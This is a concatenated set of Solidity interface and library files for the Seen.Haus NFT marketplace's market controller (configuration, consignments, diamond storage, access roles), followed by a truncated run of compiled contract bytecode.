interface is: 0xbb8dba77 * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IMarketController is IMarketClerk, IMarketConfig, IMarketConfigAdditional {} // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "../domain/SeenTypes.sol"; /** * @title IMarketController * * @notice Manages configuration and consignments used by the Seen.Haus contract suite. * @dev Contributes its events and functions to the IMarketController interface * * The ERC-165 identifier for this interface is: 0x57f9f26d * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IMarketConfig { /// Events event NFTAddressChanged(address indexed nft); event EscrowTicketerAddressChanged(address indexed escrowTicketer, SeenTypes.Ticketer indexed ticketerType); event StakingAddressChanged(address indexed staking); event MultisigAddressChanged(address indexed multisig); event VipStakerAmountChanged(uint256 indexed vipStakerAmount); event PrimaryFeePercentageChanged(uint16 indexed feePercentage); event SecondaryFeePercentageChanged(uint16 indexed feePercentage); event MaxRoyaltyPercentageChanged(uint16 indexed maxRoyaltyPercentage); event OutBidPercentageChanged(uint16 indexed outBidPercentage); event DefaultTicketerTypeChanged(SeenTypes.Ticketer indexed ticketerType); /** * @notice Sets the address of the xSEEN ERC-20 staking contract. * * Emits a NFTAddressChanged event. * * @param _nft - the address of the nft contract */ function setNft(address _nft) external; /** * @notice The nft getter */ function getNft() external view returns (address); /** * @notice Sets the address of the Seen.Haus lots-based escrow ticketer contract. * * Emits a EscrowTicketerAddressChanged event. * * @param _lotsTicketer - the address of the items-based escrow ticketer contract */ function setLotsTicketer(address _lotsTicketer) external; /** * @notice The lots-based escrow ticketer getter */ function getLotsTicketer() external view returns (address); /** * @notice Sets the address of the Seen.Haus items-based escrow ticketer contract. * * Emits a EscrowTicketerAddressChanged event. * * @param _itemsTicketer - the address of the items-based escrow ticketer contract */ function setItemsTicketer(address _itemsTicketer) external; /** * @notice The items-based escrow ticketer getter */ function getItemsTicketer() external view returns (address); /** * @notice Sets the address of the xSEEN ERC-20 staking contract. * * Emits a StakingAddressChanged event. * * @param _staking - the address of the staking contract */ function setStaking(address payable _staking) external; /** * @notice The staking getter */ function getStaking() external view returns (address payable); /** * @notice Sets the address of the Seen.Haus multi-sig wallet. * * Emits a MultisigAddressChanged event. * * @param _multisig - the address of the multi-sig wallet */ function setMultisig(address payable _multisig) external; /** * @notice The multisig getter */ function getMultisig() external view returns (address payable); /** * @notice Sets the VIP staker amount. * * Emits a VipStakerAmountChanged event. * * @param _vipStakerAmount - the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events */ function setVipStakerAmount(uint256 _vipStakerAmount) external; /** * @notice The vipStakerAmount getter */ function getVipStakerAmount() external view returns (uint256); /** * @notice Sets the marketplace fee percentage. * Emits a PrimaryFeePercentageChanged event. * * @param _primaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus primary sale or auction * * N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setPrimaryFeePercentage(uint16 _primaryFeePercentage) external; /** * @notice Sets the marketplace fee percentage. * Emits a SecondaryFeePercentageChanged event. * * @param _secondaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus secondary sale or auction (after royalties) * * N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setSecondaryFeePercentage(uint16 _secondaryFeePercentage) external; /** * @notice The primaryFeePercentage and secondaryFeePercentage getter */ function getFeePercentage(SeenTypes.Market _market) external view returns (uint16); /** * @notice Sets the external marketplace maximum royalty percentage. * * Emits a MaxRoyaltyPercentageChanged event. * * @param _maxRoyaltyPercentage - the maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty */ function setMaxRoyaltyPercentage(uint16 _maxRoyaltyPercentage) external; /** * @notice The maxRoyaltyPercentage getter */ function getMaxRoyaltyPercentage() external view returns (uint16); /** * @notice Sets the marketplace auction outbid percentage. * * Emits a OutBidPercentageChanged event. * * @param _outBidPercentage - the minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail */ function setOutBidPercentage(uint16 _outBidPercentage) external; /** * @notice The outBidPercentage getter */ function getOutBidPercentage() external view returns (uint16); /** * @notice Sets the default escrow ticketer type. * * Emits a DefaultTicketerTypeChanged event. * * Reverts if _ticketerType is Ticketer.Default * Reverts if _ticketerType is already the defaultTicketerType * * @param _ticketerType - the new default escrow ticketer type. */ function setDefaultTicketerType(SeenTypes.Ticketer _ticketerType) external; /** * @notice The defaultTicketerType getter */ function getDefaultTicketerType() external view returns (SeenTypes.Ticketer); /** * @notice Get the Escrow Ticketer to be used for a given consignment * * If a specific ticketer has not been set for the consignment, * the default escrow ticketer will be returned. * * @param _consignmentId - the id of the consignment * @return ticketer = the address of the escrow ticketer to use */ function getEscrowTicketer(uint256 _consignmentId) external view returns (address ticketer); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "../domain/SeenTypes.sol"; /** * @title IMarketClerk * * @notice Manages consignments for the Seen.Haus contract suite. * * The ERC-165 identifier for this interface is: 0xec74481a * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IMarketClerk is IERC1155ReceiverUpgradeable, IERC721ReceiverUpgradeable { /// Events event ConsignmentTicketerChanged(uint256 indexed consignmentId, SeenTypes.Ticketer indexed ticketerType); event ConsignmentFeeChanged(uint256 indexed consignmentId, uint16 customConsignmentFee); event ConsignmentPendingPayoutSet(uint256 indexed consignmentId, uint256 amount); event ConsignmentRegistered(address indexed consignor, address indexed seller, SeenTypes.Consignment consignment); event ConsignmentMarketed(address indexed consignor, address indexed seller, uint256 indexed consignmentId); event ConsignmentReleased(uint256 indexed consignmentId, uint256 amount, address releasedTo); /** * @notice The nextConsignment getter */ function getNextConsignment() external view returns (uint256); /** * @notice The consignment getter */ function getConsignment(uint256 _consignmentId) external view returns (SeenTypes.Consignment memory); /** * @notice Get the remaining supply of the given consignment. * * @param _consignmentId - the id of the consignment * @return uint256 - the remaining supply held by the MarketController */ function getUnreleasedSupply(uint256 _consignmentId) external view returns(uint256); /** * @notice Get the consignor of the given consignment * * @param _consignmentId - the id of the consignment * @return address - consigner's address */ function getConsignor(uint256 _consignmentId) external view returns(address); /** * @notice Registers a new consignment for sale or auction. * * Emits a ConsignmentRegistered event. * * @param _market - the market for the consignment. See {SeenTypes.Market} * @param _consignor - the address executing the consignment transaction * @param _seller - the seller of the consignment * @param _tokenAddress - the contract address issuing the NFT behind the consignment * @param _tokenId - the id of the token being consigned * @param _supply - the amount of the token being consigned * * @return Consignment - the registered consignment */ function registerConsignment( SeenTypes.Market _market, address _consignor, address payable _seller, address _tokenAddress, uint256 _tokenId, uint256 _supply ) external returns(SeenTypes.Consignment memory); /** * @notice Update consignment to indicate it has been marketed * * Emits a ConsignmentMarketed event. * * Reverts if consignment has already been marketed. * A consignment is considered as marketed if it has a marketHandler other than Unhandled. See: {SeenTypes.MarketHandler} * * @param _consignmentId - the id of the consignment */ function marketConsignment(uint256 _consignmentId, SeenTypes.MarketHandler _marketHandler) external; /** * @notice Release the consigned item to a given address * * Emits a ConsignmentReleased event. * * Reverts if caller is does not have MARKET_HANDLER role. * * @param _consignmentId - the id of the consignment * @param _amount - the amount of the consigned supply to release * @param _releaseTo - the address to transfer the consigned token balance to */ function releaseConsignment(uint256 _consignmentId, uint256 _amount, address _releaseTo) external; /** * @notice Clears the pending payout value of a consignment * * Emits a ConsignmentPayoutSet event. * * Reverts if: * - caller is does not have MARKET_HANDLER role. * - consignment doesn't exist * * @param _consignmentId - the id of the consignment * @param _amount - the amount of that the consignment's pendingPayout must be set to */ function setConsignmentPendingPayout(uint256 _consignmentId, uint256 _amount) external; /** * @notice Set the type of Escrow Ticketer to be used for a consignment * * Default escrow ticketer is Ticketer.Lots. This only needs to be called * if overriding to Ticketer.Items for a given consignment. * * Emits a ConsignmentTicketerSet event. * Reverts if consignment is not registered. * * @param _consignmentId - the id of the consignment * @param _ticketerType - the type of ticketer to use. See: {SeenTypes.Ticketer} */ function setConsignmentTicketer(uint256 _consignmentId, SeenTypes.Ticketer _ticketerType) external; /** * @notice Set a custom fee percentage on a consignment (e.g. for "official" SEEN x Artist drops) * * Default escrow ticketer is Ticketer.Lots. This only needs to be called * if overriding to Ticketer.Items for a given consignment. * * Emits a ConsignmentFeeChanged event. * * Reverts if consignment doesn't exist * * * @param _consignmentId - the id of the consignment * @param _customFeePercentageBasisPoints - the custom fee percentage basis points to use * * N.B. _customFeePercentageBasisPoints percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setConsignmentCustomFee(uint256 _consignmentId, uint16 _customFeePercentageBasisPoints) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IAccessControlUpgradeable } from "@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol"; import { IDiamondCut } from "../../interfaces/IDiamondCut.sol"; /** * @title DiamondLib * * @notice Diamond storage slot and supported interfaces * * @notice Based on Nick Mudge's gas-optimized diamond-2 reference, * with modifications to support role-based access and management of * supported interfaces. * * Reference Implementation : https://github.com/mudgen/diamond-2-hardhat * EIP-2535 Diamond Standard : https://eips.ethereum.org/EIPS/eip-2535 * * N.B. Facet management functions from original `DiamondLib` were refactor/extracted * to JewelerLib, since business facets also use this library for access control and * managing supported interfaces. * * @author Nick Mudge <[email protected]> (https://twitter.com/mudgen) * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ library DiamondLib { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage"); struct DiamondStorage { // maps function selectors to the facets that execute the functions. // and maps the selectors to their position in the selectorSlots array. // func selector => address facet, selector position mapping(bytes4 => bytes32) facets; // array of slots of function selectors. // each slot holds 8 function selectors. mapping(uint256 => bytes32) selectorSlots; // The number of function selectors in selectorSlots uint16 selectorCount; // Used to query if a contract implements an interface. // Used to implement ERC-165. mapping(bytes4 => bool) supportedInterfaces; // The Seen.Haus AccessController IAccessControlUpgradeable accessController; } /** * @notice Get the Diamond storage slot * * @return ds - Diamond storage slot cast to DiamondStorage */ function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } /** * @notice Add a supported interface to the Diamond * * @param _interfaceId - the interface to add */ function addSupportedInterface(bytes4 _interfaceId) internal { // Get the DiamondStorage struct DiamondStorage storage ds = diamondStorage(); // Flag the interfaces as supported ds.supportedInterfaces[_interfaceId] = true; } /** * @notice Implementation of ERC-165 interface detection standard. * * @param _interfaceId - the sighash of the given interface */ function supportsInterface(bytes4 _interfaceId) internal view returns (bool) { // Get the DiamondStorage struct DiamondStorage storage ds = diamondStorage(); // Return the value return ds.supportedInterfaces[_interfaceId] || false; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "./MarketControllerLib.sol"; import "../diamond/DiamondLib.sol"; import "../../domain/SeenTypes.sol"; import "../../domain/SeenConstants.sol"; /** * @title MarketControllerBase * * @notice Provides domain and common modifiers to MarketController facets * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ abstract contract MarketControllerBase is SeenTypes, SeenConstants { /** * @dev Modifier that checks that the consignment exists * * Reverts if the consignment does not exist */ modifier consignmentExists(uint256 _consignmentId) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); // Make sure the consignment exists require(_consignmentId < mcs.nextConsignment, "Consignment does not exist"); _; } /** * @dev Modifier that checks that the caller has a specific role. * * Reverts if caller doesn't have role. * * See: {AccessController.hasRole} */ modifier onlyRole(bytes32 _role) { DiamondLib.DiamondStorage storage ds = DiamondLib.diamondStorage(); require(ds.accessController.hasRole(_role, msg.sender), "Caller doesn't have role"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../domain/SeenTypes.sol"; /** * @title MarketControllerLib * * @dev Provides access to the the MarketController Storage and Intializer slots for MarketController facets * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ library MarketControllerLib { bytes32 constant MARKET_CONTROLLER_STORAGE_POSITION = keccak256("seen.haus.market.controller.storage"); bytes32 constant MARKET_CONTROLLER_INITIALIZERS_POSITION = keccak256("seen.haus.market.controller.initializers"); struct MarketControllerStorage { // the address of the Seen.Haus NFT contract address nft; // the address of the xSEEN ERC-20 Seen.Haus staking contract address payable staking; // the address of the Seen.Haus multi-sig wallet address payable multisig; // address of the Seen.Haus lots-based escrow ticketing contract address lotsTicketer; // address of the Seen.Haus items-based escrow ticketing contract address itemsTicketer; // the default escrow ticketer type to use for physical consignments unless overridden with setConsignmentTicketer SeenTypes.Ticketer defaultTicketerType; // the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events uint256 vipStakerAmount; // the percentage that will be taken as a fee from the net of a Seen.Haus sale or auction uint16 primaryFeePercentage; // 1.75% = 175, 100% = 10000 // the percentage that will be taken as a fee from the net of a Seen.Haus sale or auction (after royalties) uint16 secondaryFeePercentage; // 1.75% = 175, 100% = 10000 // the maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty uint16 maxRoyaltyPercentage; // 1.75% = 175, 100% = 10000 // the minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail uint16 outBidPercentage; // 1.75% = 175, 100% = 10000 // next consignment id uint256 nextConsignment; // whether or not external NFTs can be sold via secondary market bool allowExternalTokensOnSecondary; // consignment id => consignment mapping(uint256 => SeenTypes.Consignment) consignments; // consignmentId to consignor address mapping(uint256 => address) consignors; // consignment id => ticketer type mapping(uint256 => SeenTypes.Ticketer) consignmentTicketers; // escrow agent address => feeBasisPoints mapping(address => uint16) escrowAgentToFeeBasisPoints; } struct MarketControllerInitializers { // MarketConfigFacet initialization state bool configFacet; // MarketConfigFacet initialization state bool configAdditionalFacet; // MarketClerkFacet initialization state bool clerkFacet; } function marketControllerStorage() internal pure returns (MarketControllerStorage storage mcs) { bytes32 position = MARKET_CONTROLLER_STORAGE_POSITION; assembly { mcs.slot := position } } function marketControllerInitializers() internal pure returns (MarketControllerInitializers storage mci) { bytes32 position = MARKET_CONTROLLER_INITIALIZERS_POSITION; assembly { mci.slot := position } } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "../domain/SeenTypes.sol"; /** * @title IMarketController * * @notice Manages configuration and consignments used by the Seen.Haus contract suite. * @dev Contributes its events and functions to the IMarketController interface * * The ERC-165 identifier for this interface is: 0x57f9f26d * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IMarketConfigAdditional { /// Events event AllowExternalTokensOnSecondaryChanged(bool indexed status); event EscrowAgentFeeChanged(address indexed escrowAgent, uint16 fee); /** * @notice Sets whether or not external tokens can be listed on secondary market * * Emits an AllowExternalTokensOnSecondaryChanged event. * * @param _status - boolean of whether or not external tokens are allowed */ function setAllowExternalTokensOnSecondary(bool _status) external; /** * @notice The allowExternalTokensOnSecondary getter */ function getAllowExternalTokensOnSecondary() external view returns (bool status); /** * @notice The escrow agent fee getter */ function getEscrowAgentFeeBasisPoints(address _escrowAgentAddress) external view returns (uint16); /** * @notice The escrow agent fee setter */ function setEscrowAgentFeeBasisPoints(address _escrowAgentAddress, uint16 _basisPoints) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; /** * @title SeenTypes * * @notice Enums and structs used by the Seen.Haus contract ecosystem. * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ contract SeenTypes { enum Market { Primary, Secondary } enum MarketHandler { Unhandled, Auction, Sale } enum Clock { Live, Trigger } enum Audience { Open, Staker, VipStaker } enum Outcome { Pending, Closed, Canceled } enum State { Pending, Running, Ended } enum Ticketer { Default, Lots, Items } struct Token { address payable creator; uint16 royaltyPercentage; bool isPhysical; uint256 id; uint256 supply; string uri; } struct Consignment { Market market; MarketHandler marketHandler; address payable seller; address tokenAddress; uint256 tokenId; uint256 supply; uint256 id; bool multiToken; bool released; uint256 releasedSupply; uint16 customFeePercentageBasisPoints; uint256 pendingPayout; } struct Auction { address payable buyer; uint256 consignmentId; uint256 start; uint256 duration; uint256 reserve; uint256 bid; Clock clock; State state; Outcome outcome; } struct Sale { uint256 consignmentId; uint256 start; uint256 price; uint256 perTxCap; State state; Outcome outcome; } struct EscrowTicket { uint256 amount; uint256 consignmentId; uint256 id; string itemURI; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title IDiamondCut * * @notice Diamond Facet management * * Reference Implementation : https://github.com/mudgen/diamond-2-hardhat * EIP-2535 Diamond Standard : https://eips.ethereum.org/EIPS/eip-2535 * * The ERC-165 identifier for this interface is: 0x1f931c1c * * @author Nick Mudge <[email protected]> (https://twitter.com/mudgen) */ interface IDiamondCut { event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); enum FacetCutAction {Add, Replace, Remove} struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /** * @notice Add/replace/remove any number of functions and * optionally execute a function with delegatecall * * _calldata is executed with delegatecall on _init * * @param _diamondCut Contains the facet addresses and function selectors * @param _init The address of the contract or facet to execute _calldata * @param _calldata A function call, including function selector and arguments */ function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; /** * @title SeenConstants * * @notice Constants used by the Seen.Haus contract ecosystem. * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ contract SeenConstants { // Endpoint will serve dynamic metadata composed of ticket and ticketed item's info string internal constant ESCROW_TICKET_URI = "https://api.seen.haus/ticket/metadata/"; // Access Control Roles bytes32 internal constant ADMIN = keccak256("ADMIN"); // Deployer and any other admins as needed bytes32 internal constant SELLER = keccak256("SELLER"); // Approved sellers amd Seen.Haus reps bytes32 internal constant MINTER = keccak256("MINTER"); // Approved artists and Seen.Haus reps bytes32 internal constant ESCROW_AGENT = keccak256("ESCROW_AGENT"); // Seen.Haus Physical Item Escrow Agent bytes32 internal constant MARKET_HANDLER = keccak256("MARKET_HANDLER"); // Market Handler contracts bytes32 internal constant UPGRADER = keccak256("UPGRADER"); // Performs contract upgrades bytes32 internal constant MULTISIG = keccak256("MULTISIG"); // Admin role of MARKET_HANDLER & UPGRADER }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063872a287c116100c3578063c97591321161007c578063c97591321461027a578063e071048e1461028d578063e63322d3146102a0578063f3283fba146102b5578063f3c13387146102c8578063ffd6e1af146102db5761014d565b8063872a287c146102295780638ff3909914610231578063a4fbc18b14610244578063ac513fb814610257578063bc583e711461025f578063bef69428146102675761014d565b80633b71f50b116101155780633b71f50b146101c05780633c81df21146101eb57806343024f0c146101f357806361d9285a146101fb5780637870ff651461020e5780637b1391a6146102215761014d565b80630f11f518146101525780631dd039651461016757806329a2f5f014610187578063370299961461019a578063377538de146101ad575b600080fd5b61016561016036600461169e565b6102f1565b005b61016f610428565b60405161ffff90911681526020015b60405180910390f35b6101656101953660046117c7565b61044b565b6101656101a836600461169e565b610553565b6101656101bb366004611793565b610681565b6101d36101ce3660046117c7565b6108fe565b6040516001600160a01b03909116815260200161017e565b6101d3610a16565b61016f610a34565b61016f610209366004611774565b610a55565b61016561021c3660046116c1565b610aaf565b6101d3610c8a565b6101d3610ca8565b61016561023f36600461169e565b610cc6565b6101656102523660046117ad565b610dea565b6101d3610f49565b6101d3610f64565b6101656102753660046117ad565b610f82565b6101656102883660046117ad565b6110dd565b61016561029b3660046117ad565b611252565b6102a86113a2565b60405161017e91906117df565b6101656102c336600461169e565b6113c1565b6101656102d636600461169e565b6114e5565b6102e3611600565b60405190815260200161017e565b6000805160206118cc83398151915260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b15801561036057600080fd5b505afa158015610374573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103989190611754565b6103bd5760405162461bcd60e51b81526004016103b490611807565b60405180910390fd5b60006103c7611615565b6004810180546001600160a01b0319166001600160a01b0387161790559050600260048201546040516001600160a01b03909116907fefdbde906a245317cc31de4484cec885a0b7f1e6b1dba3672a842f2fa641806090600090a350505050565b600080610433611615565b600601546601000000000000900461ffff1692915050565b6000805160206118cc83398151915260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b1580156104ba57600080fd5b505afa1580156104ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f29190611754565b61050e5760405162461bcd60e51b81526004016103b490611807565b6000610518611615565b6005810185905560405190915084907f78156250155b64b99a9a8af283f022cd0605d8bd01e7cdfa2b3fcb325b39161f90600090a250505050565b6000805160206118cc83398151915260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b1580156105c257600080fd5b505afa1580156105d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fa9190611754565b6106165760405162461bcd60e51b81526004016103b490611807565b6000610620611615565b6003810180546001600160a01b0319166001600160a01b0387161790559050600160038201546040516001600160a01b03909116907fefdbde906a245317cc31de4484cec885a0b7f1e6b1dba3672a842f2fa641806090600090a350505050565b7fdf8b4c520ffe197c5343c6f5aec59570151ef9a492f2c624fd45ddde6135ec4260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b15801561070257600080fd5b505afa158015610716573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073a9190611754565b6107565760405162461bcd60e51b81526004016103b490611807565b6000610760611615565b9050600084600281111561078457634e487b7160e01b600052602160045260246000fd5b14156107cb5760405162461bcd60e51b815260206004820152601660248201527524b73b30b634b2103a34b1b5b2ba32b9103a3cb8329760511b60448201526064016103b4565b6004810154600160a01b900460ff1660028111156107f957634e487b7160e01b600052602160045260246000fd5b84600281111561081957634e487b7160e01b600052602160045260246000fd5b14156108675760405162461bcd60e51b815260206004820152601860248201527f5479706520697320616c72656164792064656661756c742e000000000000000060448201526064016103b4565b60048101805485919060ff60a01b1916600160a01b83600281111561089c57634e487b7160e01b600052602160045260246000fd5b02179055506004810154600160a01b900460ff1660028111156108cf57634e487b7160e01b600052602160045260246000fd5b6040517f90813e818dab169a54926f0ced003ebc5b8564bff2db998d72f0d91501d6a85690600090a250505050565b600081600061090b611615565b9050806007015482106109605760405162461bcd60e51b815260206004820152601a60248201527f436f6e7369676e6d656e7420646f6573206e6f7420657869737400000000000060448201526064016103b4565b600061096a611615565b6000868152600b8201602052604081205491925060ff90911690808260028111156109a557634e487b7160e01b600052602160045260246000fd5b146109b057816109c0565b6004830154600160a01b900460ff165b905060018160028111156109e457634e487b7160e01b600052602160045260246000fd5b146109fc5760048301546001600160a01b0316610a0b565b60038301546001600160a01b03165b979650505050505050565b600080610a21611615565b600201546001600160a01b031691505090565b600080610a3f611615565b60060154640100000000900461ffff1692915050565b600080610a60611615565b90506000836001811115610a8457634e487b7160e01b600052602160045260246000fd5b1415610a99576006015461ffff169050610aaa565b6006015462010000900461ffff1690505b919050565b7f5422543287cbf0fbd845fd081ab0d74e1e74ac8fe63532678dcb17d48fb0e4c2805460ff1615610b375760405162461bcd60e51b815260206004820152602c60248201527f496e697469616c697a65723a20636f6e747261637420697320616c726561647960448201526b081a5b9a5d1a585b1a5e995960a21b60648201526084016103b4565b805460ff19166001178155610b526357f9f26d60e01b611639565b610b6263bb8dba7760e01b611639565b6000610b6c611615565b9050898160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550888160020160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550878160050181905550868160060160006101000a81548161ffff021916908361ffff160217905550858160060160026101000a81548161ffff021916908361ffff160217905550848160060160046101000a81548161ffff021916908361ffff160217905550838160060160066101000a81548161ffff021916908361ffff160217905550828160040160146101000a81548160ff02191690836002811115610c7957634e487b7160e01b600052602160045260246000fd5b021790555050505050505050505050565b600080610c95611615565b600101546001600160a01b031691505090565b600080610cb3611615565b600301546001600160a01b031691505090565b6000805160206118cc83398151915260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b158015610d3557600080fd5b505afa158015610d49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6d9190611754565b610d895760405162461bcd60e51b81526004016103b490611807565b6000610d93611615565b6001810180546001600160a01b0319166001600160a01b03878116919091179182905560405192935016907f85a6925c77755c1f403f315f9761871ac61038aa406fd7bd243ad13eb16e92ab90600090a250505050565b6000805160206118cc83398151915260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b158015610e5957600080fd5b505afa158015610e6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e919190611754565b610ead5760405162461bcd60e51b81526004016103b490611807565b60008361ffff16118015610ec757506127108361ffff1611155b610ee35760405162461bcd